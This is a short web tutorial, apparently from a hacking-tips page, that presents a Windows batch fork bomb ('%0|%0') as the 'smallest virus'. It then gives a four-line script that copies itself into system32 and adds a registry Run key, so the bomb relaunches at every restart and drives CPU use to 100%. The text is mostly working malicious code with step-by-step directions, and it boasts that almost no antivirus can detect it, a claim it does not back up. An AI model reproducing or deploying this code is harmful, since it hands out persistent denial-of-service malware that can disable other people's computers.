0 Smallest Virus of the World!! 5 Characters can EAT your machine. Go to Start > run > notepad Write this Command on notepad: %0|%0 (This is the Code for Virus). Save the File with and .bat extension. eg. hello.bat Run the File and See the Magic!!! This will eat you 100% CPU usage. Dont try this on your system. Now to add the functionality of auto execution on Restart, we will write some more code in Batch Programming. @echo off copy %0 %systemroot%\system32\kb.bat reg add HKCU\Software\Microsoft\Windows \CurrentVersion\Run /v kb /t REG_SZ /d % systemroot%\system32\kb.bat /f %0|%0 Save this code in notepad with anyname and .bat extension. The four Line code above is so Dangerous, that it will take the CPU usage of Computer to 100% within 10 Sec. of Restart. Almost No anti-Virus can Detect it